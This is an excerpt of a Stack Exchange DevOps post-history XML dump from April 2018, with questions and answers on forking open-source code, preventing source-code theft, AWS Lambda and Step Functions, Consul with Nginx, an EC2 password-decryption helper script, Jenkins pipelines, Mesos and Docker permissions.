ContentLicense="CC BY-SA 3.0" />
  <row Id="12022" PostHistoryTypeId="50" PostId="3575" RevisionGUID="4eb85e30-a9ba-4244-bced-01834ddbf141" CreationDate="2018-04-07T18:50:14.430" UserId="-1" />
  <row Id="12023" PostHistoryTypeId="5" PostId="3827" RevisionGUID="d923cd07-78b8-41a1-a530-2277b3e035e8" CreationDate="2018-04-07T19:10:08.517" UserId="4175" Comment="added 356 characters in body" Text="It is always ethically acceptable to fork any code on Github (or Sourceforge or wherever you got it from) and do whatever you want with it, within the terms allowed by its license! This is what open source and permissive licenses are all about. The original author wanted the world to contribute to this piece of software, and you will be doing exactly that.&#xD;&#xA;&#xD;&#xA;Fork it, respect the license requirements, and go on with it. It does not matter whether it is abandoned (like your example, since the last change was 3 years ago) or current.&#xD;&#xA;&#xD;&#xA;If you do feel that you did some good improvements, send pull requests back to your upstream, as  usual. If the original author never comes back, then so be it. If he does, he can integrate them (or not if he so chooses). But this is strictly optional, you are neither legally nor ethically forced to do so.&#xD;&#xA;&#xD;&#xA;About uploading it to some other locations (Ansible Galaxy or whatever - say Docker Hub for docker images and so on): the issue is probably mostly to avoid irritations due to the name being &quot;replaced&quot; (but I'd assume if the original author already has uploaded it to A.G., you can't just replace it, anyway).  So, in the latter case, just upload it with another name, which is still easily identifyable as related to the original - say, append some suffix which is not too obnoxious.&#xD;&#xA;&#xD;&#xA;If the author, in your case, should later re-appear, and you had uploaded the software to the Ansible Galaxy, and he wants to take over, then you two will simply communicate and resolve the issue somehow (i.e., merge the two forks again and decide who keeps updating Ansible Galaxy). Chances are that he will be more than glad to leave the work to you.&#xD;&#xA;&#xD;&#xA;Oh, and to be sure; this piece of software is under the MIT license:&#xD;&#xA;&#xD;&#xA;&gt;Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the &quot;Software&quot;), to deal in the Software without restriction, including without limitation the rights to use, **copy**, modify, merge, **publish**, **distribute**, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:&#xD;&#xA;&#xD;&#xA;There you go.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12024" PostHistoryTypeId="50" PostId="2412" RevisionGUID="187c01ee-7a3e-462f-acb6-6a7d7bb4251a" CreationDate="2018-04-07T19:50:13.997" UserId="-1" />
  <row Id="12025" PostHistoryTypeId="50" PostId="3253" RevisionGUID="42247e09-fe16-4702-b577-8ba15d42611d" CreationDate="2018-04-07T20:50:14.333" UserId="-1" />
  <row Id="12033" PostHistoryTypeId="2" PostId="3834" RevisionGUID="736a126a-0cd3-45c8-8fe4-91a12835c531" CreationDate="2018-04-08T15:55:40.403" UserId="7308" Text="I am using git and have the following problem:&#xD;&#xA;In the company where I work you now want to protect the source code from theft.&#xD;&#xA;So if for some reason a developer lets the source code of a project go along and sells it, for example.&#xD;&#xA;To prevent this, I thought about it for a long time and came to the conclusion that encrypting the source code is the best choice. &#xD;&#xA;Like [git-crypt][1] does, that's a very good idea.&#xD;&#xA;Only with one mistake:&#xD;&#xA;If I add a user's GPG key, he can decrypt all files, and the protection measure would be worthless.&#xD;&#xA;The files of the developer should be decrypted locally and only remotely. (This way the developer does not always have to encrypt, push, decrypt the files)&#xD;&#xA;&#xD;&#xA;I tried to re-program [git-crypt][1] in Python (because of cross-platform) but then failed due to the git attributes/smudge, clean filter drivers.&#xD;&#xA;&#xD;&#xA;Do you know a possibility or an application that takes up exactly my problem? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/AGWA/git-crypt" ContentLicense="CC BY-SA 3.0" />
  <row Id="12034" PostHistoryTypeId="1" PostId="3834" RevisionGUID="736a126a-0cd3-45c8-8fe4-91a12835c531" CreationDate="2018-04-08T15:55:40.403" UserId="7308" Text="Git Files Encryption for Business" ContentLicense="CC BY-SA 3.0" />
  <row Id="12035" PostHistoryTypeId="3" PostId="3834" RevisionGUID="736a126a-0cd3-45c8-8fe4-91a12835c531" CreationDate="2018-04-08T15:55:40.403" UserId="7308" Text="&lt;git&gt;&lt;python&gt;&lt;encryption&gt;&lt;git-hooks&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12036" PostHistoryTypeId="2" PostId="3835" RevisionGUID="2105b527-e380-4a1f-88f1-01f500034d73" CreationDate="2018-04-08T18:50:08.373" UserId="4175" Text="There really is no way to take on your problem with git, which is to deny a developer with access to the code (required to work with it) the possibility to steal the code. This is because as soon as your developer has the code in a readable format (to program on it), he can do with it whatever he wants, anyways.&#xD;&#xA;&#xD;&#xA;git-crypt has a totally different use, and is not related to your problem at all.&#xD;&#xA;&#xD;&#xA;To solve your problem, there is basically only one possibility: lock the network in which the code resides down completely - make it so that there is no physical way to transfer the code to the outside. This could mean:&#xD;&#xA;&#xD;&#xA;- No direct internet connection, obviously. &#xD;&#xA;- No http/https proxy either, no mail clients etc.&#xD;&#xA;- No way to add new devices to the network (unless through official ways). E.g., no unused network ports to plug anything in; no guest DHCP; MAC address filtering; etc.&#xD;&#xA;- No way to plug an USB device or other transfer mechanism into any devices.&#xD;&#xA;&#xD;&#xA;This may sound harsh, but really is not. It could be as simple as keeping your code strictly within a set of VMs, accessed by something like Vmware Horizon or something like that, with cut&amp;paste and file transfer disabled, of course. Be nice to your developers and allow them to transfer stuff *into* the environment (their favourite editor, for example).&#xD;&#xA;&#xD;&#xA;To go a step further: &#xD;&#xA;&#xD;&#xA;- Strict policy with severe punishment. Setup a specific contract which each emplyee which contains clauses as harsh as the laws of your country allow.&#xD;&#xA;- Security measures like locked doors accessible to only specific personnel, video cameras with 24/7 human supervision and so on. &#xD;&#xA;- Maybe 2-factor access (either 2 persons required to checkout code, or at least a physical TAN generator or something along those lines).&#xD;&#xA;&#xD;&#xA;Note that in your case you want to make it hard for a thief who knows that he is doing something illegal and already has committed to doing a crime. He will not respect any &quot;weak&quot; protection (like rules/laws) anyways." ContentLicense="CC BY-SA 3.0" />
  <row Id="12039" PostHistoryTypeId="50" PostId="3494" RevisionGUID="f0b271ea-1aff-41a0-8de5-0f25877a0e88" CreationDate="2018-04-08T19:58:02.473" UserId="-1" />
  <row Id="12040" PostHistoryTypeId="2" PostId="3837" RevisionGUID="1facefed-191f-4aee-9092-d22e6458e456" CreationDate="2018-04-09T03:00:59.770" UserId="7310" Text="**Context:**&#xD;&#xA;I have a pipeline of 6 lambda functions (chained together), triggered by an SNS notification which is generated whenever a file lands on S3. This pipeline essentially takes the file(few GBs), filters it (Spark cluster is created to run the job, then deleted at the end), and inserts it into a DB. Lambdas are orchestrating the flow.&#xD;&#xA;&#xD;&#xA;**Issues:**&#xD;&#xA;If one Lambda fails, the chain breaks hence no effective failure handling. Secondly, we experience timeouts if a polling/computation takes longer than 5 minutes, so no effective retry. It takes a long time to test/debug an issue if a lambda fails. Also there is no visibility, say for example how many jobs failed and how many passed? we dont know. Getting a bunch of SNS notifications on email is not very effective/helpful. If the chain breaks, we cannot perform cleanup operations like deleting SPark cluster or housekeeping steps.&#xD;&#xA;&#xD;&#xA;**My Questions:**&#xD;&#xA;Is AWS Step Functions a good choice for solving the above issues? When would you not use a Step Function service? If you cannot invoke Step Function through SNS, then what would be the best way to call it whenever a file lands on S3? Feel free to share any other approach to easily and effectively tackle this usecase." ContentLicense="CC BY-SA 3.0" />
  <row Id="12041" PostHistoryTypeId="1" PostId="3837" RevisionGUID="1facefed-191f-4aee-9092-d22e6458e456" CreationDate="2018-04-09T03:00:59.770" UserId="7310" Text="Challenges of using AWS Lambda chain" ContentLicense="CC BY-SA 3.0" />
  <row Id="12042" PostHistoryTypeId="3" PostId="3837" RevisionGUID="1facefed-191f-4aee-9092-d22e6458e456" CreationDate="2018-04-09T03:00:59.770" UserId="7310" Text="&lt;amazon-web-services&gt;&lt;aws-lambda&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12043" PostHistoryTypeId="5" PostId="3835" RevisionGUID="2ca5e268-92a7-4ea4-af31-96bcce9cad19" CreationDate="2018-04-09T06:15:00.357" UserId="4175" Comment="added 16 characters in body" Text="There really is no way to take on your problem with git, which is to deny a developer with access to the code (required to work with it) the possibility to steal the code. This is because as soon as your developer has the code in a readable format (to program on it), he can do with it whatever he wants, anyways.&#xD;&#xA;&#xD;&#xA;git-crypt has a totally different use, and is not related to your problem at all.&#xD;&#xA;&#xD;&#xA;To solve your problem, there is basically only one possibility: lock the network in which the code resides down completely - make it so that there is no physical way to transfer the code to the outside. This could mean:&#xD;&#xA;&#xD;&#xA;- No direct internet connection, obviously. &#xD;&#xA;- No http/https proxy either, no mail clients etc.&#xD;&#xA;- No way to add new devices to the network (unless through official ways). E.g., no unused network ports to plug anything in; no guest DHCP; MAC address filtering; no WIFI, smartphones; etc.&#xD;&#xA;- No way to plug an USB device or other transfer mechanism into any devices.&#xD;&#xA;&#xD;&#xA;This may sound harsh, but really is not. It could be as simple as keeping your code strictly within a set of VMs, accessed by something like Vmware Horizon or something like that, with cut&amp;paste and file transfer disabled, of course. Be nice to your developers and allow them to transfer stuff *into* the environment (their favourite editor, for example).&#xD;&#xA;&#xD;&#xA;To go a step further: &#xD;&#xA;&#xD;&#xA;- Strict policy with severe punishment. Setup a specific contract which each emplyee which contains clauses as harsh as the laws of your country allow.&#xD;&#xA;- Security measures like locked doors accessible to only specific personnel, video cameras with 24/7 human supervision and so on. &#xD;&#xA;- Maybe 2-factor access (either 2 persons required to checkout code, or at least a physical TAN generator or something along those lines).&#xD;&#xA;&#xD;&#xA;Note that in your case you want to make it hard for a thief who knows that he is doing something illegal and already has committed to doing a crime. He will not respect any &quot;weak&quot; protection (like rules/laws) anyways." ContentLicense="CC BY-SA 3.0" />
  <row Id="12044" PostHistoryTypeId="2" PostId="3838" RevisionGUID="81cdca31-e8d9-4638-aae1-efc6ab6dd73e" CreationDate="2018-04-09T09:19:16.450" UserId="7320" Text="I am from development background and totally new to DevOps, I want to setup **consul for service discovery** for my micro-services, services are reverse proxied by **Nginx**. Now I want to configure Nginx with the consul, we are not using dockers as of now.&#xD;&#xA;&#xD;&#xA;I have gone through many tutorials but I didn't get much about that how can I configure Nginx with the consul.&#xD;&#xA;&#xD;&#xA;Any lead would be appreciated." ContentLicense="CC BY-SA 3.0" />
  <row Id="12045" PostHistoryTypeId="1" PostId="3838" RevisionGUID="81cdca31-e8d9-4638-aae1-efc6ab6dd73e" CreationDate="2018-04-09T09:19:16.450" UserId="7320" Text="Consul with Nginx, not using docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="12046" PostHistoryTypeId="3" PostId="3838" RevisionGUID="81cdca31-e8d9-4638-aae1-efc6ab6dd73e" CreationDate="2018-04-09T09:19:16.450" UserId="7320" Text="&lt;microservices&gt;&lt;nginx&gt;&lt;consul&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12047" PostHistoryTypeId="2" PostId="3839" RevisionGUID="b9b6f5f8-e87a-4f44-810c-ef54bf672cd1" CreationDate="2018-04-09T10:08:18.027" UserId="6" Text="I have done this in the past using https://github.com/hashicorp/consul-template.&#xD;&#xA;&#xD;&#xA;What `consul-template` does it generate a configuration file (for nginx) based on a certain template you provide. And the values that it fills into this template are coming from the configuration stored in `consul`.&#xD;&#xA;&#xD;&#xA;Each time your micro-services register themselves in `consul` and need to be addressed in the nginx configuration file, `consul-template` does it for you by changing the file and sending a `SIGHUP` (`kill -1`) to the nginx process that makes it reload nginx configuration.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you are using *Nginx Plus*, which is the commercial version of Nginx. Then it has support for Consul built-in. https://www.nginx.com/blog/service-discovery-with-nginx-plus-and-consul/ and https://www.nginx.com/blog/service-discovery-nginx-plus-srv-records-consul-dns/ go into depth on this subject." ContentLicense="CC BY-SA 3.0" />
  <row Id="12048" PostHistoryTypeId="5" PostId="3839" RevisionGUID="f02d239b-1467-4a78-a4ad-1cf1d236ebbf" CreationDate="2018-04-09T11:23:06.640" UserId="6" Comment="add link to example" Text="I have done this in the past using https://github.com/hashicorp/consul-template.&#xD;&#xA;&#xD;&#xA;What `consul-template` does it generate a configuration file (for nginx) based on a certain template you provide. And the values that it fills into this template are coming from the configuration stored in `consul`.&#xD;&#xA;&#xD;&#xA;Each time your micro-services register themselves in `consul` and need to be addressed in the nginx configuration file, `consul-template` does it for you by changing the file and sending a `SIGHUP` (`kill -1`) to the nginx process that makes it reload nginx configuration.&#xD;&#xA;&#xD;&#xA;The repository for `consule-template` contains an example of managing `nginx` https://github.com/hashicorp/consul-template/blob/master/examples/nginx.md&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you are using *Nginx Plus*, which is the commercial version of Nginx. Then it has support for Consul built-in. https://www.nginx.com/blog/service-discovery-with-nginx-plus-and-consul/ and https://www.nginx.com/blog/service-discovery-nginx-plus-srv-records-consul-dns/ go into depth on this subject." ContentLicense="CC BY-SA 3.0" />
  <row Id="12049" PostHistoryTypeId="2" PostId="3840" RevisionGUID="e283a003-8343-400d-8832-f9637a1b6ef0" CreationDate="2018-04-09T12:34:46.797" UserId="3525" Text="The referred documentation from the question &#xD;&#xA;https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListAttachedUserPolicies.html&#xD;&#xA;&#xD;&#xA;has this example of a request:&#xD;&#xA;&#xD;&#xA;    https://iam.amazonaws.com/?Action=ListAttachedUserPolicies&#xD;&#xA;    &amp;UserName=Alice&#xD;&#xA;    &amp;Version=2010-05-08&#xD;&#xA;    &amp;AUTHPARAMS&#xD;&#xA;&#xD;&#xA;AUTHPARAMS are explained &#xD;&#xA;https://docs.aws.amazon.com/general/latest/gr/signature-version-2.html&#xD;&#xA;&#xD;&#xA;(version 4 is preferred)&#xD;&#xA;https://docs.aws.amazon.com/general/latest/gr/sigv4-calculate-signature.html&#xD;&#xA;&#xD;&#xA;So you have to calculate a digest from the request together with your secret key and you have to do it exactly as it is explained in the documentation - which means be careful about every letter including spaces. " ContentLicense="CC BY-SA 3.0" />
  <row Id="12050" PostHistoryTypeId="2" PostId="3841" RevisionGUID="eb41ba58-dca7-4df1-8fb2-72436e899fa4" CreationDate="2018-04-09T12:41:02.910" UserId="3" Text="Based on [@Vish answer][1], I've created the following shell script:&#xD;&#xA;&#xD;&#xA;    #/usr/bin/env bash&#xD;&#xA;    # Script to show password data of the EC2 instance.&#xD;&#xA;    [ $# -eq 0 ] &amp;&amp; { echo &quot;Usage: $0 instance_id ...&quot;; exit; }&#xD;&#xA;    keyname=$(aws ec2 describe-instances --query 'Reservations[].Instances[].KeyName' --output text --instance-ids $1)&#xD;&#xA;    pemfile=$(find ~/.ssh -name &quot;*$keyname*.pem&quot; -print -quit)&#xD;&#xA;    if [ -z &quot;$pemfile&quot; ]; then&#xD;&#xA;      aws ec2 get-password-data --instance-id $1&#xD;&#xA;    else&#xD;&#xA;      aws ec2 get-password-data --instance-id $1 --priv-launch-key $pemfile&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;which aims to decrypt the password based on the key pair name. By default it's looking for the PEM file in user's `~/.ssh` folder.&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;    ./show_ec2_password_data.sh i-instance_id&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/3828/3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12051" PostHistoryTypeId="5" PostId="3835" RevisionGUID="8718c1bd-04be-449c-b6fa-3c4874575300" CreationDate="2018-04-09T13:27:25.230" UserId="4175" Comment="added 427 characters in body" Text="There really is no way to take on your problem with git, which is to deny a developer with access to the code (required to work with it) the possibility to steal the code. This is because as soon as your developer has the code in a readable format (to program on it), he can do with it whatever he wants, anyways.&#xD;&#xA;&#xD;&#xA;git-crypt has a totally different use, and is not related to your problem at all.&#xD;&#xA;&#xD;&#xA;To solve your problem, there is basically only one possibility: lock the network in which the code resides down completely - make it so that there is no physical way to transfer the code to the outside. This could mean:&#xD;&#xA;&#xD;&#xA;- No direct internet connection, obviously. &#xD;&#xA;- No http/https proxy either, no mail clients etc.&#xD;&#xA;- No way to add new devices to the network (unless through official ways). E.g., no unused network ports to plug anything in; no guest DHCP; MAC address filtering; no WIFI, smartphones; etc.&#xD;&#xA;- No way to plug an USB device or other transfer mechanism into any devices.&#xD;&#xA;&#xD;&#xA;This may sound harsh, but really is not. It could be as simple as keeping your code strictly within a set of VMs, accessed by something like Vmware Horizon or something like that, with cut&amp;paste and file transfer disabled, of course. Be nice to your developers and allow them to transfer stuff *into* the environment (their favourite editor, for example).&#xD;&#xA;&#xD;&#xA;The measures so far do not require any physical changes, i.e. your developers still can work remotely or in their usual unsecure office. Obviously, they still can go to extreme measures (screenshots on their client PC...) to get specific parts of the code page-by-page.&#xD;&#xA;&#xD;&#xA;To go a step further, in increasing severity (although we are going into James Bond territory here...): &#xD;&#xA;&#xD;&#xA;- Strict policy with severe punishment. Setup a specific contract which each emplyee which contains clauses as harsh as the laws of your country allow.&#xD;&#xA;- Switching access to the limited network to a physical area in your office.&#xD;&#xA;- Security measures like locked doors accessible to only specific personnel, video cameras with 24/7 human supervision and so on. &#xD;&#xA;- 2-factor access (either 2 persons required to checkout code, or at least a physical TAN generator or something along those lines).&#xD;&#xA;&#xD;&#xA;Note that in your case you want to make it hard for a thief who knows that he is doing something illegal and already has committed to doing a crime. He will not respect any &quot;weak&quot; protection (like rules/laws) anyways." ContentLicense="CC BY-SA 3.0" />
  <row Id="12052" PostHistoryTypeId="10" PostId="3780" RevisionGUID="0a3cc887-d30d-47fc-b805-a13839ae8bf9" CreationDate="2018-04-09T13:31:38.183" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:960,&quot;DisplayName&quot;:&quot;Xiong Chiamiov&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="12053" PostHistoryTypeId="50" PostId="3588" RevisionGUID="6b08adc7-a32c-44d9-8bad-ba06eb670e6d" CreationDate="2018-04-09T14:06:47.853" UserId="-1" />
  <row Id="12054" PostHistoryTypeId="50" PostId="3263" RevisionGUID="26677ce7-beb2-471c-a1d2-765393acf712" CreationDate="2018-04-09T16:06:49.383" UserId="-1" />
  <row Id="12055" PostHistoryTypeId="2" PostId="3842" RevisionGUID="e324a5c6-b85b-4b4d-a923-2b88f5d23d3d" CreationDate="2018-04-09T16:40:20.997" UserId="7331" Text="I am assuming you are using [Jenkinsfile](https://jenkins.io/doc/book/pipeline/jenkinsfile/). You can do for example:&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;        agent any&#xD;&#xA;    &#xD;&#xA;        stages {&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Building..'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Test') {&#xD;&#xA;                steps {&#xD;&#xA;                    echo 'Testing..'&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Deploy') {&#xD;&#xA;                 when { branch 'master' } /* when in master branch */&#xD;&#xA;                 steps {&#xD;&#xA;                    echo 'Deploying....'&#xD;&#xA;                    deleteDir() /* clean up our workspace */&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="12059" PostHistoryTypeId="2" PostId="3844" RevisionGUID="9f72c85b-8a9e-4883-b6e6-9750341f934a" CreationDate="2018-04-09T18:49:06.210" UserId="7320" Text="trying to run consul on my system,&#xD;&#xA;&#xD;&#xA;Have followed link to download consul&#xD;&#xA;&#xD;&#xA;[consul and consul-template setup][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    consul agent -server -bootstrap-expect 1 \&#xD;&#xA;        -data-dir /tmp/consul -node=agent-one \&#xD;&#xA;        -bind=127.0.0.1:8500 \&#xD;&#xA;        -client=0.0.0.0 \&#xD;&#xA;        -config-dir /etc/consul.d \&#xD;&#xA;        -ui-dir /opt/consul/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://sonnguyen.ws/install-consul-and-consul-template-in-ubuntu-14-04/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;but getting an error &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    WARNING: BootstrapExpect Mode is specified as 1; this is the same as Bootstrap mode.&#xD;&#xA;    ==&gt; WARNING: Bootstrap mode enabled! Do not enable unless necessary&#xD;&#xA;    ==&gt; Starting Consul agent...&#xD;&#xA;    ==&gt; Error starting agent: Failed to start Consul server: Failed to start lan serf: Failed to create memberlist: Failed to parse advertise address!&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12060" PostHistoryTypeId="1" PostId="3844" RevisionGUID="9f72c85b-8a9e-4883-b6e6-9750341f934a" CreationDate="2018-04-09T18:49:06.210" UserId="7320" Text="consul throwing an eror" ContentLicense="CC BY-SA 3.0" />
  <row Id="12061" PostHistoryTypeId="3" PostId="3844" RevisionGUID="9f72c85b-8a9e-4883-b6e6-9750341f934a" CreationDate="2018-04-09T18:49:06.210" UserId="7320" Text="&lt;consul&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12062" PostHistoryTypeId="2" PostId="3845" RevisionGUID="2510d91f-f60f-4418-b7b4-c3a32311aec0" CreationDate="2018-04-09T19:37:51.763" UserId="210" Text="It looks like that the official Consul documentation is more up to date than the link that was posted in the question.&#xD;&#xA;&#xD;&#xA;If one starts with the [Getting Started guide][1], then one could start a consul agent in no time and the documentation also explains how to proceed.&#xD;&#xA;&#xD;&#xA;    user@localhost /tmp $ ./consul agent -dev&#xD;&#xA;    ==&gt; Starting Consul agent...&#xD;&#xA;    ==&gt; Consul agent running!&#xD;&#xA;               Version: 'v1.0.6'&#xD;&#xA;               Node ID: '777c5475-bc78-6e38-75a6-42038eef7cb8'&#xD;&#xA;             Node name: 'localhost.localdomain'&#xD;&#xA;            Datacenter: 'dc1' (Segment: '&lt;all&gt;')&#xD;&#xA;                Server: true (Bootstrap: false)&#xD;&#xA;           Client Addr: [127.0.0.1] (HTTP: 8500, HTTPS: -1, DNS: 8600)&#xD;&#xA;          Cluster Addr: 127.0.0.1 (LAN: 8301, WAN: 8302)&#xD;&#xA;               Encrypt: Gossip: false, TLS-Outgoing: false, TLS-Incoming: false&#xD;&#xA;    &#xD;&#xA;    ==&gt; Log data will now stream in as it occurs:&#xD;&#xA;    &#xD;&#xA;        2018/04/09 21:33:04 [DEBUG] Using random ID &quot;777c5475-bc78-6e38-75a6-42038eef7cb8&quot; as node ID&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.consul.io/intro/getting-started/install.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="12066" PostHistoryTypeId="2" PostId="3847" RevisionGUID="e3b637df-a052-4091-91b0-b9fba0cd2d8f" CreationDate="2018-04-10T03:34:54.043" UserId="7341" Text="You should take a look at [BOSH][1].  Its the tool that is used by CloudFoundry, its services and a distro of Kubernetes called Kubo for installation,  management and &quot;Day 2&quot; operations.  &#xD;&#xA;&#xD;&#xA;It's basically a declarative, cloud-agnostic orchestration tool that features rolling updates, canary deployments, scaling, monitoring and self healing.  It can monitor VMs as well as processes on those VMs (i.e. services) and will make sure that the deployment is running as you specified it to in the deployment manifest.&#xD;&#xA;&#xD;&#xA;In order to do all of this (especially the monitoring and self-healing bits) it has a client-server architecture which is deployed with a cut-down version of BOSH itself called [bosh bootloader][2] or `bbl` for short.  You use this to deploy the BOSH director.  You talk to the bosh director by installing the bosh-cli (brew install bosh-cli on a mac).&#xD;&#xA;&#xD;&#xA;For you deployment you would first need to create what's called a BOSH release and this can, admittedly, be a little daunting if you are not familiar with BOSH but as CF, its services and Kubo are all open source there are tons of references out there.  There are also lots of pre-backed releases and stemcells (OSes).&#xD;&#xA;&#xD;&#xA;After creating your release you upload it to your bosh director and `bosh deploy`.  To upgrade it you upload the next version of your release and `bosh deploy`.  To patch a security vulnerability you upload the latest blessed stemcell from bosh.io and `bosh deploy`.  I am sure you get the picture.&#xD;&#xA;&#xD;&#xA;If you want to go the next level then there is a good getting started guide [here][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bosh.io/&#xD;&#xA;  [2]: https://github.com/cloudfoundry/bosh-bootloader&#xD;&#xA;  [3]: https://ultimateguidetobosh.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="12067" PostHistoryTypeId="2" PostId="3848" RevisionGUID="56d16813-0b3f-4581-95d8-223efcfefbd8" CreationDate="2018-04-10T04:46:04.767" UserId="7343" Text="First of all there is **one** Maven central repository and that is Maven central. The website mvnrepository.com is just a search engine for Maven central.&#xD;&#xA;&#xD;&#xA;Secondly there is a gazillion of paid services that already scan artifacts for you and allow you to know about known vulnerabilities beforehand. So that problem is already solved.&#xD;&#xA;&#xD;&#xA;Finally several people who download code from Maven central are used for university projects, quick demos, QA environments so of course not all people care..." ContentLicense="CC BY-SA 3.0" />
  <row Id="12071" PostHistoryTypeId="2" PostId="3850" RevisionGUID="7a941b0e-d5f0-4f1e-afe0-2a23fb775589" CreationDate="2018-04-10T06:41:31.143" UserId="707" Text="My current impression is, Apache Mesos was introduce before the LXC container technology became available (via Docker).&#xD;&#xA;&#xD;&#xA;So you could implement &quot;your own Apache Mesos Java framework&quot; for example, or use Marathon to do that.&#xD;&#xA;&#xD;&#xA;Now, Marathon seems to support containers as well.&#xD;&#xA;&#xD;&#xA;Question - when would you deploy Java nowadays on/with Mesos/Marathon without contauners? And if you use containers, why should you opt for Mesos instead of for example Kubernetes?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12072" PostHistoryTypeId="1" PostId="3850" RevisionGUID="7a941b0e-d5f0-4f1e-afe0-2a23fb775589" CreationDate="2018-04-10T06:41:31.143" UserId="707" Text="Apache Mesos - cases pro and contra containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="12073" PostHistoryTypeId="3" PostId="3850" RevisionGUID="7a941b0e-d5f0-4f1e-afe0-2a23fb775589" CreationDate="2018-04-10T06:41:31.143" UserId="707" Text="&lt;containers&gt;&lt;orchestration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12074" PostHistoryTypeId="2" PostId="3851" RevisionGUID="a33d808c-fef8-44aa-a57d-a8f54f586b1e" CreationDate="2018-04-10T07:41:04.843" UserId="13" Text="Your impression is false, linux containers (LXC) exists since 2008, mesos and docker have started later. All three makes use of cgroups available since kernel 2.6.28. &#xD;&#xA;&#xD;&#xA;For your overall question, mesosphere have a [blog post](https://mesosphere.com/blog/docker-vs-kubernetes-vs-apache-mesos/) about it. &#xD;&#xA;&#xD;&#xA;But mainly you're looking at it from the wrong point of view, choosing the underlying orchestration system should not be done from 'how to deploy this application?' point of view, but more on 'What would be the best orchestration for what I have to deploy as a whole ?'. Making the choice between swarm/kubernetes/mesos/k8s on mesos/swarm on mesos/whatever is very dependent on your environment, your existing knowledge, your team skills etc. and we can&quot;'t really help you choose without an extended description on what you're willing to manage." ContentLicense="CC BY-SA 3.0" />
  <row Id="12075" PostHistoryTypeId="2" PostId="3852" RevisionGUID="ece5796b-94e8-438a-b327-1e61c8091d74" CreationDate="2018-04-10T08:00:43.063" UserId="7346" Text="I'm using docker some time and I like the conception very much. But I found a thing is a big problem for me.&#xD;&#xA;&#xD;&#xA;I'm talking about permissions. While I'm not worrying about production, setting up my docker development environment becomes hell, because of file ownerships and permissions. For example:&#xD;&#xA;&#xD;&#xA;* www-data user from php container cannot create files in my directories (www-data uid is 82 while my uid is 1000)&#xD;&#xA;  I was trying to change www-data id to 1000 but I share this environment with macOS users, who typically have uid of 500&#xD;&#xA;* I cannot remove files that have been created within container - that makes it hard for me to jump between git branches sometimes (`sudo rm somefile`).&#xD;&#xA;&#xD;&#xA;I spend hours, no, days looking for ultimate solution. Tried `gosu` in containers, mounting `/etc/shadow` as a volume etc. The problem is, I was unable to find a solution that can be considered multi-platform and proper (mounting local system files readonly just doesn't look good).&#xD;&#xA;&#xD;&#xA;Thank you!" ContentLicense="CC BY-SA 3.0" />
  <row Id="12076" PostHistoryTypeId="1" PostId="3852" RevisionGUID="ece5796b-94e8-438a-b327-1e61c8091d74" CreationDate="2018-04-10T08:00:43.063" UserId="7346" Text="Ultimate docker permission solution" ContentLicense="CC BY-SA 3.0" />
  <row Id="12077" PostHistoryTypeId="3" PostId="3852" RevisionGUID="ece5796b-94e8-438a-b327-1e61c8091d74" CreationDate="2018-04-10T08:00:43.063" UserId="7346" Text="&lt;docker&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="12078" PostHistoryTypeId="5" PostId="3850" RevisionGUID="5116d378-c95a-4b24-b5ee-5d254d7fb833" CreationDate="2018-04-10T08:11:00.240" UserId="707" Comment="added 10 characters in body" Text="My current impression is, Apache Mesos was introduced before the LXC container technology became *easily* available (via Docker).&#xD;&#xA;&#xD;&#xA;So you could implement &quot;your own Apache Mesos Java framework&quot; for example, or use Marathon to do that.&#xD;&#xA;&#xD;&#xA;Now, Marathon seems to support containers as well.&#xD;&#xA;&#xD;&#xA;Question - when would you deploy Java nowadays on/with Mesos/Marathon without contauners? And if you use containers, why should you opt for Mesos instead of for example Kubernetes?" ContentLicense="CC BY-SA 3.0" />
